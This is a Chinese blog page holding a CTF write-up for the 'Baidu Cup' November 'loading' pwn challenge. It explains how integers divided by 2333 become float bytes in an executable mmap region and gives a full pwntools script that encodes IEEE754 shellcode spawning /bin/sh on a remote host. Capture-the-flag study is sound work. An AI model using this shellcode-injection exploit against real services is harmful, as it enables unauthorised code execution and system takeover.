美文网首页
2019-11-17摸鱼二号

2019-11-17摸鱼二号

作者: 好大一只免孑 | 来源:发表于2019-11-17 21:17 被阅读0次

“百度杯”CTF比赛 十一月场loading


图片.png

首先需要了解一下mmap函数,mmap函数相当于申请一个可写可执行的区域。这里最后执行了这个区域

这个程序做的事就是 读入了一个有符号整数,把数除以2333的浮点数值写到mmap的区域里。

这里就需要了解浮点数在内存中保存的方法。
因为是有符号的整数,实际整数的范围是受限制的,我们可以通过输入的数字控制变化为十六进制过后的中间的字符。这道题的原题是pctf2016的一道题

这个是那道题的解题思路
http://ajou-whois.org/write-up/2017/11/17/fixedpoint.html

import struct
import pwnlib
import time
 
 
def get_int(s):
  a = struct.unpack('<f', s)[0]* 2333
  return struct.unpack('I', struct.pack('<I', a))[0]
 
 
target = pwnlib.tubes.remote.remote('106.75.2.53', 10009, ssl=False)
 
print "Sending IEEE754 shellcode..."
time.sleep(1)
 
for i in range(3):
  target.sendline(str(get_int('\x00\x00\x00\x00')))
 
target.sendline(str(get_int('\x99\x89\xc3\x47')))     # mov ebx, eax
target.sendline(str(get_int('\x41\x44\x44\x44')))     # nop/align
 
for c in '/bin/sh\x00':
  target.sendline(str(get_int('\x99\xb0'+c+'\x47')))  # mov al, c
  target.sendline(str(get_int('\x57\x89\x03\x43')))   # mov [ebx], eax; inc ebx
  
for i in range(8):
  target.sendline(str(get_int('\x57\x4b\x41\x47')))   # dec ebx
  
target.sendline(str(get_int('\x99\x31\xc0\x47')))     # xor eax, eax
target.sendline(str(get_int('\x99\x31\xc9\x47')))     # xor ecx, ecx
target.sendline(str(get_int('\x99\x31\xd2\x47')))     # xor edx, edx
target.sendline(str(get_int('\x99\xb0\x0b\x47')))     # mov al, 0xb
target.sendline(str(get_int('\x99\xcd\x80\x47')))     # int 0x80
 
target.sendline('c')
target.interactive()
图片.png

相关文章

  • 2019-11-17摸鱼二号

    “百度杯”CTF比赛 十一月场loading 首先需要了解一下mmap函数,mmap函数相当于申请一个可写可执行的...

  • 父亲的康复日记63

    今天摸鱼今天摸鱼今天摸鱼今天摸鱼今天摸鱼今天摸鱼今天摸鱼今天摸鱼今天摸鱼今天摸鱼今天摸鱼今天摸鱼今天摸鱼今天摸鱼今...

  • 2022-11-17

    唉,好想摸鱼!好想摸鱼!好想摸鱼!好想摸鱼!好想摸鱼!好想摸鱼!好想摸鱼!好想摸鱼!好想摸鱼!好想摸鱼!好想摸鱼!...

  • 2019-11-17-木子姐的ScalersTalk第五轮新概念

    练习材料: [Day 1878 2019-11-17] Lesson38 Everything except th...

  • 摸鱼摸鱼!

    原本计划上财上交华师随便选一所,再不济就考厦大吧 ,然鹅发现这些都是illsusions, 连西南财经都405的复...

  • 摸鱼摸鱼

    这周时间紧迫啊!还得摸鱼了,先交这个,别欠红包,明天再补文章。

  • 摸鱼摸鱼

    今天早上起来整个人一点也不舒服,不知道怎么形容。昏昏沉沉的去上班。 原本起来看到太阳明朗,所以穿的薄一点,结果...

  • 11月17日

    2019-11-17 毛雅亭 字数 655 · 阅读 1 2019-11-11 08:16 ...

  • 国家ISO转电话phoneCode码

    title: 国家ISO转电话phoneCode码date: 2019-11-17 17:40:50categor...

  • 2019-11-17第二号信——明坤

    明坤吾弟: 早就想提笔写这封信,但又怕打扰你美好的大学生活的开始,就迟迟没有动笔,上周你来之后,感受到你很...

网友评论

      本文标题:2019-11-17摸鱼二号

      本文链接:https://www.haomeiwen.com/subject/swkmictx.html